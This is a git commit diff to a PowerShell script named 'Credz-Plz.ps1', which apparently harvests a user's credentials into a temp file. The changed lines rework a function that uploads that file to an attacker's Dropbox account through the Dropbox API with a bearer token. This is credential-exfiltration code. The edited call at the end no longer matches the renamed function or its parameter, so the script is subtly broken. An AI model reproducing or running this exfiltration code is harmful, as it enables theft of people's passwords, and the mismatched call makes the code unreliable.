Update Credz-Plz.ps1
This commit is contained in:
parent
ddda9618df
commit
59d94e1d8b
1 changed files with 12 additions and 4 deletions
|
@ -139,9 +139,17 @@ echo $creds >> $env:TMP\$FileName
|
||||||
This is to upload your files to dropbox
|
This is to upload your files to dropbox
|
||||||
#>
|
#>
|
||||||
|
|
||||||
function dropbox {
|
function DropBox-Upload {
|
||||||
$TargetFilePath="/$ZIP"
|
|
||||||
$SourceFilePath="$env:TEMP\$ZIP"
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
|
||||||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[Alias("f")]
|
||||||
|
[string]$SourceFilePath
|
||||||
|
)
|
||||||
|
$outputFile = Split-Path $SourceFilePath -leaf
|
||||||
|
$TargetFilePath="/$outputFile"
|
||||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
$authorization = "Bearer " + $db
|
$authorization = "Bearer " + $db
|
||||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
@ -151,7 +159,7 @@ $headers.Add("Content-Type", 'application/octet-stream')
|
||||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
}
|
}
|
||||||
|
|
||||||
if (-not ([string]::IsNullOrEmpty($db))){dropbox}
|
if (-not ([string]::IsNullOrEmpty($db))){dropbox -FileName $env:TMP\$FileName}
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue